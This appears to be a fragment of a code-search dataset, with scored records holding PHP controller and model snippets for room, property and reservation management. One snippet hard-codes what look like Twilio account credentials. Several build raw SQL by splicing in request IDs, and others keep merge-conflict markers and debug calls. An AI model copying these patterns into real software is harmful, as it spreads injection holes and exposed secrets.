($filterKeyword) {\n // $products = \\App\\Models\\Product::where('name', 'LIKE', \"%$filterKeyword%\")->paginate(10);\n $rooms = Room::where('house_id', $id)->where('name', 'LIKE', \"%$filterKeyword%\")->paginate(10);\n }\n\n return view('rooms.index', ['house' => $house, 'rooms' => $rooms]);\n }", "title": "" }, { "docid": "2a5f4013c0d859109c9067176cad0586", "score": "0.5997516", "text": "public function index($property_id)\n { \n $units = Unit::where('property_id', $property_id)->get();\n return Response::json($units->toArray(), 200);\n }", "title": "" }, { "docid": "40f4bdb9ba70e8130d3ee1f6f0eefef6", "score": "0.59614915", "text": "public function index(Request $request)\n {\n $id=$request->id;\n if(empty($id))\n {\n $property = property::sortable()->paginate(10);\n }else{\n $property = property::where('mapid',$id)->sortable()->paginate(10);\n }\n\n return view('ghorfeh.property.index', compact('property','id'));\n//\n\n }", "title": "" }, { "docid": "ed86aae7c50e39123732491fec981430", "score": "0.5941789", "text": "public function rooms() {\n return $this->hasMany( Room::class,'id', 'room_type_id' );\n }", "title": "" }, { "docid": "7182bc59e7a0ee0ab85c6dc1f683db16", "score": "0.58772343", "text": "public function show($id)\n {\n $property = Property::findOrfail($id);\n $agents = Agents::where(['id'=>$property->agent_id])->get();\n return view('property.single',compact('property','agents'));\n }", "title": "" }, { "docid": "a6651d784ce816608954e2a5cee6bb05", "score": "0.5863171", "text": "public function showRoom($id)\n {\n $room = Room::where('id', '=', $id)->with('apartment')->get();\n return View::make('owner.room.show', compact('room'));\n }", "title": "" }, { "docid": "1898758ae508ec04ab5b394e0d0219ac", "score": "0.5840377", "text": "public function indexRooms()\n\t{\n $rooms = DB::table('rooms')\n ->join('apartments','rooms.apartment_id','=','apartments.id')\n ->join('users','users.id','=','apartments.owner_id')\n ->where('users.id','=',Auth::user()->id)\n ->select('rooms.id', 'rooms.name as room_name','rooms.stars','rooms.capacity',\n 'rooms.description','rooms.price','apartments.name as apartment_name')\n ->get();\n return View::make('owner.room.index',compact('rooms'));\n }", "title": "" }, { "docid": "e0c60fee954481f3c31187292dc6343c", "score": "0.5828841", "text": "public function index()\n {\n $rooms = Room::all();\n return RoomResource::collection($rooms);\n }", "title": "" }, { "docid": "79598b69242d80a3be36c3597fb05cd1", "score": "0.580411", "text": "public function index()\n {\n return Room::with('reservation')->get();\n }", "title": "" }, { "docid": "193722dc7f990654fab7d573c7758f38", "score": "0.57888687", "text": "public function index()\n {\n $room = Room::all();\n return $room;\n }", "title": "" }, { "docid": "5d30b57f61641b6bd76d0ceb848922ca", "score": "0.5787628", "text": "public function show($id)\n\t{\n<<<<<<< HEAD\n\t\t$id = $this->sanitizeString($id);\n\n\t\t$room = Room::find($id);\n\n\t\t$roominventory = [];\n\n\t\t$roominventory = App\\RoomInventoryView::where('room','=',$room->name)\n\t\t\t\t\t\t\t->get()\n\t\t\t\t\t\t\t->groupBy('type');\n\n\t\t// return json_encode($roominventory);\n\n\t\treturn view('room.show')\n\t\t\t\t->with('room',$room)\n\t\t\t\t->with('roominventory',$roominventory);\n=======\n\t\t$room = Room::find($id);\n\t\treturn view('room.show')\n\t\t\t\t->with('room',$room);\n>>>>>>> origin/0.3\n\t}", "title": "" }, { "docid": "c5dac2035f8e1567ee5158ad1789843e", "score": "0.5781162", "text": "public function rooms()\n\t{\n\t\treturn $this->belongsTo('App\\RoomInfo');\n\t}", "title": "" }, { "docid": "ab5accb2c679b5ad127c838b311e4687", "score": "0.57273394", "text": "public function rooms()\n {\n return $this->belongsTo('App\\Models\\Room', 'rooms_id');\n }", "title": "" }, { "docid": "5fc3efeb6c452371af5c2b4a0db67289", "score": "0.57200515", "text": "public function rooms()\n {\n return $this->belongsToMany('App\\Room', 'Resource', 'resourcetype_id', 'room_id');\n }", "title": "" }, { "docid": "b731b01f5df3e31cc2f6c8663f88de20", "score": "0.5718821", "text": "public function show($id)\n {\n //\n\n $property = Property::find($id);\n $test = $property->property_facilities()->where('id_property', $property->id)->first();\n //$property->property_facilities()->property_facilities;\n //$property->property_facilities()->id_facility;\n //$property->property_facilities()->id_property;\n //$propertyFacilities = $property->property_facilities;\n\n dd($test);\n //$propertyFacilities = $property->property_facilities()->where('id_property', $property->id)->get();\n\n\n\n\n\n\n //$property->property_facilities()->where('id_property', $property->id)->get();\n\n dd($property);\n return Response::json([\n 'data' => $property\n ], 200);\n\n }", "title": "" }, { "docid": "3a1b9a63293716c8e090c88f65c75d8c", "score": "0.5715767", "text": "public function show($id)\n {\n \n\n $room = Room::findOrFail($id);\n\n $resident = DB::table('residents')->where('room_id',$id)->get();\n\n $repair = DB::table('repairs')->where('room_id',$id)->get();\n\n $personnel = DB::table('personnels')->get();\n \n $rRow = 1;\n\n\n $resident_transaction = DB::table('transactions')->where('room_id', $id)->get();\n\n $repairRow = 1;\n \n $ownerRow = 1;\n \n $dateToday = Carbon::today()->toDateString();\n \n $transaction = DB::table('transactions')\n ->join('residents', 'transactions.resident_id', '=', 'residents.id')\n ->join('owners', 'transactions.room_id', 'owners.room_id')\n ->select('residents.*','residents.firstName as residentFirstName', 'residents.middleName as residentMiddleName', 'residents.lastName as residentLastName'\n ,'transactions.*', 'owners.*')\n ->where('transactions.room_id', $id)\n \n ->get();\n \n $room_owner = Owner::where('owners.room_id', $id)->get();\n \n \n $inventory = DB::table('inventories')\n ->join('residents', 'inventories.inventory_residentId', 'residents.id')\n ->join('rooms', 'inventories.inventory_roomId', 'rooms.id')\n ->select('residents.*', 'rooms.*', 'inventories.*')\n ->where('inventory_roomId', $id)\n ->get();\n \n $inventoryRow = 1;\n \n \n return view('rooms.show', compact('room', 'rRow', 'transaction', 'resident','repairRow', 'repair', 'room_owner', 'ownerRow', 'personnel', 'inventory', 'inventoryRow', 'resident_transaction', 'listOfRooms'));\n \n\n }", "title": "" }, { "docid": "3aab138b67853629bf3abceb60b722e8", "score": "0.56820554", "text": "public function index()\n {\n $rooms = Room::with(['room_details.reservations', 'room_amenities.list_amenities'])->paginate(5);\n \n return view('room.list_of_rooms', compact('rooms'));\n \n }", "title": "" }, { "docid": "7d86244f17e469581feae4a723d8b53b", "score": "0.5679047", "text": "public function indexAction() {\n\t\t$this->view->assign('rooms', $this->roomRepository->findAll());\n\t}", "title": "" }, { "docid": "0272baa7cfbe88b219070c6fafe4a9b1", "score": "0.5674804", "text": "public function getByroom($id){\n\t\t$this->_assets();\n\t\t\n\t\t//Næ í alla dagana og periods og JOIN-a timetable þegar það er hægt\n\t\t//Ef að herbergis id'ið í timetable er það sem var beðið um\n\t\t$data = DayPeriod::with(array(\n\t\t\t'day','period','timetable' => function($query) use ($id)\n\t\t\t{\n\t\t\t\t$query->whereRoomID($id);\n\t\t\t}\n\t\t\t,'timetable.room','timetable.class_'))\n\t\t\t->get();\n\t\t$groups = $this->_group($data);\n\t\t//dd($groups['Mánudagur']);\n\t\treturn View::make('timetable.byroom')\n\t\t\t->with('groups',$groups)\n\t\t\t->with('room',Room::find($id))\n\t\t\t->with('classes',Class_::orderBy('name','desc')->get())\n\t\t\t->with('rooms',Room::all());\n\t}", "title": "" }, { "docid": "c361c4cba595ac9d9845f7fcda01537b", "score": "0.5673911", "text": "public function searchRoom($roomID): Room\n {\n }", "title": "" }, { "docid": "5dd7c5c72dd6d072468434da6a7a8a6b", "score": "0.5635021", "text": "public function rooms()\n {\n return $this->belongsTo('App\\Models\\Rooms','room_id','id');\n }", "title": "" }, { "docid": "db16c6b7761ab52942824ed88d866484", "score": "0.562423", "text": "public function showRoom(){\n // and set the environment variables. See http://twil.io/secure\n $sid = \"AC66a9264b1052c0862e8a71faf11b4c18\";\n $token = \"e31a5d93aa7e69b82f3a1e82292ac38b\";\n $twilio = new Client($sid, $token);\n\n \n $rooms = $twilio->video->v1->rooms\n ->read([\"status\" => \"completed\"], 20);\n\n $arr = [];\n foreach ($rooms as $record) {\n // print($record->sid);\n array_push($arr, $record->sid);\n }\n\n return $arr;\n }", "title": "" }, { "docid": "3252b34bdcf21ee4a74632f4d2dd65e6", "score": "0.56115925", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CrmBrookerInventoryBundle:Property')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Property entity.');\n }\n\n\n // Only admins and people who entered the property can edit it.\n $canSee = false;\n if ($entity->getCreatedBy() == $this->getUser())\n $canSee = true;\n\n $reader = $this->get('crm.auditingbundle.auditTransformer');\n $has_history = $reader->hasHistory('Crm\\BrookerInventoryBundle\\Entity\\Property', $id);\n\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CrmBrookerInventoryBundle:Property:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n 'canSee' => $canSee,\n 'hasHistory' => $has_history\n ));\n }", "title": "" }, { "docid": "a25215c336680dc361cb0e83c3fc2259", "score": "0.5603502", "text": "public function index()\n {\n $limit = null;\n if ($request->limit != null) {\n $limit = (Int) $request->limit;\n }\n \n $rooms = Room::paginate($limit);\n return RoomResource::collection($rooms);\n }", "title": "" }, { "docid": "bdf565442fc30050c8d0f42003b0f5eb", "score": "0.5596977", "text": "public function getRooms()\n {\n return $this->hasOne(Rooms::className(), ['rooms_id' => 'rooms_id']);\n }", "title": "" }, { "docid": "d1134b397bdf7fc168e1c01f4865107c", "score": "0.55871195", "text": "public function show($property_id, $id)\n {\n $unit = Unit::find($id);\n \n if (!$unit)\n {\n return Response::json('Unit does not exist', 400);\n }\n \n return Response::json(['unit' => $unit->toArray()], 200);\n }", "title": "" }, { "docid": "a9f28f67b6a766af406b87f8b64885e4", "score": "0.5584556", "text": "public function show($id)\n {\n\n $property = Property::findOne($id);\n if(!$property){\n return Controller::sendError('Property not found');\n }\n return Controller::sendResponse($property);\n }", "title": "" }, { "docid": "ce102c496c1bc833fd45fe01e6808b22", "score": "0.5579463", "text": "public function getRoomInstance()\n {\n $rooms = Room::where('id','>', 0)\n ->join('device', 'rooms.device_ID', '=', 'device.device_ID')\n ->select('rooms.*','device.name','device.desc', 'device.mac_add')\n ->orderBy('rooms.id','asc')\n ->get(); \n return response()->json($rooms); \n }", "title": "" }, { "docid": "a134d50298bd70874f1f54b7b34955dc", "score": "0.5571442", "text": "public function show($id)\n {\n $ruang = Room::findOrFail($id);\n RoomResource::withoutWrapping();\n\n return new RoomResource($ruang);\n }", "title": "" }, { "docid": "12a57fed411e261edce4cd6cb23751aa", "score": "0.55609167", "text": "public function create($id)\n\t{\n\t\t$user_id = Auth::user()->id;\n\t\t$user_role = User::findOrfail($user_id);\n\t\t$bedroom = Property::findOrFail($id);\n\t\treturn view('admin.properties.bedrooms.index',compact('bedroom','user_role'));\n\t}", "title": "" }, { "docid": "9bad8e7dda6612e7615db9182164e8a5", "score": "0.5547689", "text": "public function show($id) {\n $property = Property::findOrFail($id);\n $i = 1;\n $imag = 'img';\n return view('property.property.show', compact('property', 'i' . 'imag'));\n }", "title": "" }, { "docid": "b97ed2753e69315b2e8ed4473fe85c2e", "score": "0.55474097", "text": "public function listAction() {\n\t\tif (!$this->getUser ()) {\n\t\t\t$this->addFlash ( 'notice', 'Login please!' );\n\t\t\treturn $this->redirectToRoute ( 'security_login' );\n\t\t}\n\t\t\n\t\t//try {\n\t\t$em = $this->getDoctrine ()->getManager ();\n\t\t$rooms = $em->createQueryBuilder ()\n\t\t\t\t->select ( 'r' )->from ( 'AppBundle:Room', 'r' )\n\t\t\t\t->innerjoin ( 'r.building', 'b', 'WITH', 'b.id = r.building' )\n\t\t\t\t->where ( 'b.organisation = :organisation' )\n\t\t\t\t->setParameter( 'organisation', $this->getUser ()->getUserOrganisation () )\n\t\t\t\t->getQuery ()->getResult ();\n\t\t\t// $rooms = $em->getRepository('AppBundle:Room')\n\t\t\t// ->findBy(array('building' => $this->getUser()->getUserOrganisation()));\n\t\t\n\t\treturn $this->render ( 'room/list.html.twig', [ \n\t\t\t\t'rooms' => $rooms, 'currentUser' =>$this->getUser()\n\t\t]);\n\t\t//}\n// \t\tcatch (\\Exception $e) {\n// \t\t\terror_log($e->getMessage());\n// \t\t\t$this->addFlash('notice', 'Something went wrong!');\n// \t\t}\n\t}", "title": "" }, { "docid": "35927d4d088f637f0f550fed2fda99f3", "score": "0.55406773", "text": "public function ViewSelectedRooms($id){\n $ChosenRooms = $this->getReservedRooms($id);\n \n return view('ChooseRooms', compact('ChosenRooms'));\n }", "title": "" }, { "docid": "072c58bb375735dc89eb8e01896c48b1", "score": "0.553322", "text": "public function list_room_by_room_all_location( $location_id )\n\t{\n\t\t\n\t\t$id = $location_id;\n\t\t$list_room_by_room_data = $this->location_model->list_room_by_room_data( $id );\n\t\t\tif(!empty($list_room_by_room_data))\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$i=1.0;\n\t\t\t\tforeach( $list_room_by_room_data as $list_room_by_room_datas ){\n\t\t\t\t?>\n\t\t\t\t<tr id=\"room_by-id-<?php echo $list_room_by_room_datas->r_id; ?>\">\n\t\t\t\t\t<td><?php echo $i.'.0'; ?></td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->system_name;?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->material_name;?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{ ?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->m_identification;?>\n\t\t\t\t\t<?php } ?>\t\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->m_description == \"\" ){ echo $list_room_by_room_datas->material_desc;}else{echo $list_room_by_room_datas->m_description;}?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo ucfirst($list_room_by_room_datas->friability);?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo ucfirst($list_room_by_room_datas->access);?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->good;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->fair;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->poor;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->total;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php if(!empty($list_room_by_room_datas->units)) {$this->get_units_code( $list_room_by_room_datas->units);}?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->debris;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php if(!empty($list_room_by_room_datas->unit)) {$this->get_units_code( $list_room_by_room_datas->unit);}?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->sample_rst;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->db_sample;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->rst;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t<td><?php echo $list_room_by_room_datas->r_hazard;?></td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<?php if($list_room_by_room_datas->db_sample == \"dash00\"){echo \"-\";}else{?>\n\t\t\t\t\t\t<?php echo $list_room_by_room_datas->action_number;?>\n\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td></td>\n\t\t\t\t</tr>\n\t\t\t\t\n\t\t\t\t<!--============Child List==============-->\n\t\t\t\t\t<?php $this->list_room_by_room_data_child( $list_room_by_room_datas->r_id, $id, $i );?>\n\t\t\t\t<?php \n\t\t\t\t\n\t\t\t\t$i++;\t\t\t\n\t\t\t\t}\n\t\t\t}else{ ?>\t<tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td>\n\t\t\t</tr>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t<?php }\n\t\t\t\n\t}", "title": "" }, { "docid": "b01949481961dd5d4ce810d65ab75ab1", "score": "0.5532326", "text": "public function GetAll($id)\n {\n try\n {\n $roomsList = array();\n $query = \"select * from $this->tableName where id_cine = $id\";\n $this->connection = Connection::GetInstance();\n\n $result = $this->connection->Execute($query);\n\n foreach($result as $value)\n {\n $room = new Room();\n $room->setId($value[\"id_room\"]);\n $room->setname($value[\"roomName\"]);\n $room->setSeatsCapacity($value[\"seatsCapacity\"]);\n $room->setTicketValue($value[\"ticketValue\"]);\n $room->setIdCinema($value[\"id_cine\"]);\n \n\n array_push($roomsList, $room);\n }\n\n return $roomsList;\n }\n catch (\\PDOException $ex)\n {\n throw $ex;\n }\n }", "title": "" }, { "docid": "ad3ddc816fb7d3a95520211d96fdbe78", "score": "0.5528402", "text": "public function show(Room $room)\n\t\t{\n\t\t\t$arr = json_decode($room->bed);\n\t\t\t$arr2 = [];\n\t\t\tforeach ($arr as $key => $value) {\n\t\t\t\tif($value){\n\t\t\t\t\tarray_push($arr2,$value);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$occupant = Allocate::whereIn('user_id', $arr2)->get();\n\t\t\treturn view('admin.rooms.show')->withOccupants($occupant);\n\t\t}", "title": "" }, { "docid": "2295837c93362165f8a2c6da74df3bb2", "score": "0.55236495", "text": "public function index()\n {\n $rooms = Room::all();\n return view('pages.rooms.list', compact('rooms'));\n }", "title": "" }, { "docid": "10eca25248ed26c37021f6721f7bd918", "score": "0.5522366", "text": "public function show($id)\n {\n $environments = Environment_property::selectRaw('proenvironments.*, environments.name')\n ->join('environments', 'proenvironments.environment_id', '=', 'environments.id')\n ->where('property_id',$id)->get();\n\n return response()->json([\n 'environments' => $environments,\n 'situations' => situations(),\n 'antiquitys' => antiquity(),\n 'conditions' => conditions(),\n 'locations' => locationsKeys(),\n ]);\n }", "title": "" }, { "docid": "fb522a40693445f156541703a6f1ee75", "score": "0.5521722", "text": "public function show($id)\n {\n $list=\"<ol>\";\n $id_array = explode(\"_\",$id);\n foreach($id_array as $single_id){\n if($single_id == \"\"){\n\n }else{\n $category = RoomCategory::find($single_id);\n $list.=\"<li>\".$category['category_name'].\"</li>\";\n }\n }\n $list.=\"</ol>\";\n return $list;\n }", "title": "" }, { "docid": "d1c539914108703f66c04ca89f21632f", "score": "0.5515711", "text": "public function show($id)\n {\n return view('/layouts/property', ['property' => Property::findOrFail($id)]);\n }", "title": "" }, { "docid": "2298cc366707ec19b3bb347fdf2df136", "score": "0.5508941", "text": "public function rooms()\n {\n return $this->hasMany(Room::class);\n }", "title": "" }, { "docid": "6cd81098c36d3b40d833c8177eb68edb", "score": "0.5507676", "text": "public function show($id)\n {\n $property = DB::table('properties')->where('id',$id)->first();\n $applicant = DB::table('applicants')->where('propertyId',$id)->first();\n $payment = DB::table('payments')->where('propertyId',$id)->first();\n $installment = DB::table('installments')->where('propertyId',$id)->first();\n\n var_dump(json_encode($property));\n echo \"<br>\";\n var_dump(json_encode($applicant));\n echo \"<br>\";\n var_dump(json_encode($payment));\n echo \"<br>\";\n var_dump(json_encode($installment));\n exit();\n return view('displayrecord.singleproperty',compact('property','applicant','payment','installment'));\n }", "title": "" }, { "docid": "784a9f87afb3a9a4209d0b0794d33982", "score": "0.5506686", "text": "public function index()\n {\n $rooms = Rooms::where(\"is_deleted\", 0)->get();\n return $rooms;\n }", "title": "" }, { "docid": "342d56ae109c3b9f39c8807aa367140a", "score": "0.5496485", "text": "public function show($id)\n {\n // $user =DB::table('Rooms')\n // ->join('Reservations','Reservations.RoomCode_ID','=','Rooms.id')\n // ->join('UserDetails','UserDetails.User_ID','=','Reservations.User_ID')\n // ->select('*')\n // ->where('Rooms.id','=',$id)\n // ->get();\n\n // $Reservations = DB::table('Reservations')\n // ->join('Rooms','Rooms.id','=','Reservations.RoomCode_ID')\n // ->get();\n\n $Reservations = DB::table('Dormitory')\n ->join('Rooms','Rooms.Dormitory_ID','=','Dormitory.id')\n ->join('Reservations','Reservations.RoomCode_ID','=','Rooms.id')\n ->join('TypeRoom','TypeRoom.Type','=','Rooms.Roomtype_ID')\n ->select('*','Rooms.RoomCode_ID as RoomCode_ID')\n ->where('Reservations.id','=',$id)\n ->get();\n // dd($reservations);\n\n\n return view('user.reservations.show',compact('Reservations'));\n }", "title": "" }, { "docid": "e7a632c425198331bf48eec006c756c7", "score": "0.54952854", "text": "public function show($id)\n {\n $room = Room::find($id);\n return view('admin.room.details')->withRoom($room);\n }", "title": "" }, { "docid": "eae4ec25cb668d44ec0fd14b2bde5107", "score": "0.5491604", "text": "public function index()\n {\n $rooms = Room::with([\n 'records' => function($query) {\n \n }\n ])->get();\n // return $rooms;\n return view('admin.rooms.index', [\n 'page' => $this->page,\n 'description' => $this->description . $this->page,\n 'rooms' => $rooms\n ]);\n }", "title": "" }, { "docid": "9a49d27943f61ff319e4e25abc235467", "score": "0.54841244", "text": "public function propertyList()\n {\n $properties = Property::latest()->with('status')->with('type')->get();\n\n foreach ($properties as $property) {\n $property->mainImage = url($property->getFirstMediaUrl('images', 'thumb'));\n }\n\n return view('admin.properties', compact('properties'));\n }", "title": "" }, { "docid": "93a82e1a79a65617459bc225bb71461b", "score": "0.54783297", "text": "public function listProperty($params)\n {\n $result = Property::when(auth()->user()->type === UserType::COMPANY, function ($query, $type) {\n return $query->where('company_id', '=', auth()->user()->company->id);\n })\n ->when(auth()->user()->type === UserType::SUPER_EMPLOYEE || auth()->user()->type === UserType::COMPANY_EMPLOYEE, function ($query, $type) {\n return $query->where('employee_id', '=', auth()->user()->employee->id);\n })->when($params['available'], function ($query, $available){\n\n if($available == PropertyStatus::AVAILABLE)\n {\n return $query->where('is_available', '=',$available);\n }\n else if($available == PropertyStatus::SOLD)\n {\n return $query->where('is_available', '=',$available);\n }\n })->when($params['status'], function ($query, $status){\n\n if($status == PropertyStatus::APPROVED)\n {\n return $query->where('status', '=',$status);\n }\n else if($status == PropertyStatus::REJECTED)\n {\n return $query->where('status', '=',$status);\n }\n else if($status == PropertyStatus::PENDING)\n {\n return $query->where('status', '=',$status);\n }\n })\n ->when($params['verify'], function ($query, $verify){\n\n if($verify == AppConst::VERIFIED)\n {\n return $query->where('is_verified', '=',$verify);\n }\n else if($verify == AppConst::UNVERIFIED)\n {\n return $query->where('is_verified', '=',$verify);\n }\n })\n ->when($params['sort'], function ($query, $sort){\n if($sort['order'] == AppConst::ASC){\n return $query->orderby($sort['column'], AppConst::ASC);\n }\n else if($sort['order'] == AppConst::DESC){\n return $query->orderby($sort['column'], AppConst::DESC);\n }\n })\n ->where(function ($query) use ($params) {\n return $this->commonSearch($query, $params);\n })->with('employee.user')->latest()->paginate(AppConst::PAGE_SIZE);;\n return $result;\n }", "title": "" }, { "docid": "ebfecf72523c37902e9e4b60d066fee5", "score": "0.54536635", "text": "public function getAgentPropertyImagesOnShow($property_id){\n\t\t\ttry{\n\t\t\t\t$queryPr = \"SELECT properties.*, agents.agent_id, agents.firstname, agents.lastname, \n\t\t\t\t\t\t\tagents.image, agents.phone \n\t\t\t\t\t\t\tFROM properties LEFT JOIN agents\n\t\t\t\t\t\t\tON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t\tWHERE property_id = $property_id\n\t\t\t\t\t\t\tAND property_status = 'On Show'\";\n\t\t\t\t$resultPr = $this->conn->query($queryPr);\n\t\t\t\t$rowPr = $resultPr->fetch(pdo::FETCH_ASSOC);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$query = \"SELECT * FROM property_images WHERE property_id = $property_id\t\t\t\t\t \n\t\t\t\t\t\t ORDER BY property_image_id\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$i=0;\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$data[$i] = $row;\n\t\t\t\t\t$data[$i]['property'] = $rowPr;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\treturn $data;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5f549c396471cc5bc7a37d32af076c24", "score": "0.5452492", "text": "public function show(Property $property)\n {\n \n }", "title": "" }, { "docid": "c61dbff9448b789571784d65667fe0cd", "score": "0.5450402", "text": "public function rooms(){\n return $this->hasMany('Room');\n }", "title": "" }, { "docid": "981b6114fc0415d2312f8f81d55f01be", "score": "0.5444816", "text": "public function listItems(){\n $data = DB::table(\"room_detail\")->orderBy(\"id\",\"desc\")->paginate(8);\n return $data;\n }", "title": "" }, { "docid": "db207f22c640b858d74ac9d2e8cd43e9", "score": "0.5444608", "text": "public function getRooms()\n {\n return $this->Rooms;\n }", "title": "" }, { "docid": "ed21d189f855081fdee5517cadb497d3", "score": "0.54406345", "text": "public function index()\n { \n $roomquery = Room::query();\n $rooms = $roomquery->paginate(500000);\n return view('admin.room.index',compact('rooms')); \n }", "title": "" }, { "docid": "73f09567a88eda78874c6e5503261471", "score": "0.5436578", "text": "public function index() \n {\n\n // $tasks = DB::table('tasks'); //get()->where('id', $request->id)\n // return view('tasks.show', compact('tasks'));\n\n // return view('rooms.index'); \n\n $rooms = Room::where('systemID', app('system')->id)->get();\n return view('rooms.index', compact('rooms'));\n\n }", "title": "" }, { "docid": "d040f36b4b75bbfa554498b10cc3bb39", "score": "0.543512", "text": "public function byRoom($idRoom){\n \n return Reservation::where('room_id', $idRoom)->get();\n }", "title": "" }, { "docid": "ebd01916f14aef09c70e5d0e9693cdf1", "score": "0.5434796", "text": "public function show($id)\n {\n $user = User::findOrFail($id);\n\n $prop = $user->property()->first();\n\n if($user->asset()->first()){\n $asset = $user->asset()->pluck('id')->toArray();\n }else{\n $asset = [];\n }\n\n $propOpt = Property::where('for_rent','no')->where('id','!=',$prop?$prop->id:0)->whereDoesntHave('owner')->pluck('name','id')->toArray();\n\n $assetOpt = Property::whereNotIn('id',$asset)->pluck('name','id')->toArray();\n\n //dd($user->property()->first()->toArray());\n return view('dashboard.user',compact('user','propOpt','assetOpt'));\n }", "title": "" }, { "docid": "8fe9aa485daf2e621056326649fd7719", "score": "0.54226536", "text": "public function getRoom($id) {\n\t\t$db = JFactory::getDbo();\n\n\t\t// Create a new query object.\n\t\t$query = $db->getQuery(true);\n\n\t\t// Select all records from the rooms table.\n\t\t$query->select($db->quoteName(array('id', 'name', 'space', 'price', 'published')));\n\t\t$query->from($db->quoteName('#__booking_room'));\n\t\t$query->where($db->quoteName('id').\" = \".$db->quote($id));\n\t\t$query->where($db->quoteName('published').\" = 1\");\n\n\t\t// Reset the query using our newly populated query object.\n\t\t$db->setQuery($query);\n\n\t\t// Load the result.\n\t\t$room = $db->loadAssoc();\n\n\t\treturn $room;\n\t}", "title": "" }, { "docid": "38d6f7db51e48b26589fa9e240f0eca3", "score": "0.5421541", "text": "public function getRooms($eventId)\n\t{\n\t\t$db = $this->getDbo();\n\t\t$query = $db->getQuery(true);\n\n\t\t$query->select('*')\n\t\t\t->from('#__conferenceplus_rooms')\n\t\t\t->where($db->qn('event_id') . ' = ' . $db->q($eventId))\n\t\t\t->where($db->qn('enabled') . ' = 1');\n\n\t\t$db->setQuery($query);\n\t\t$rooms = $db->loadObjectList();\n\n\t\treturn 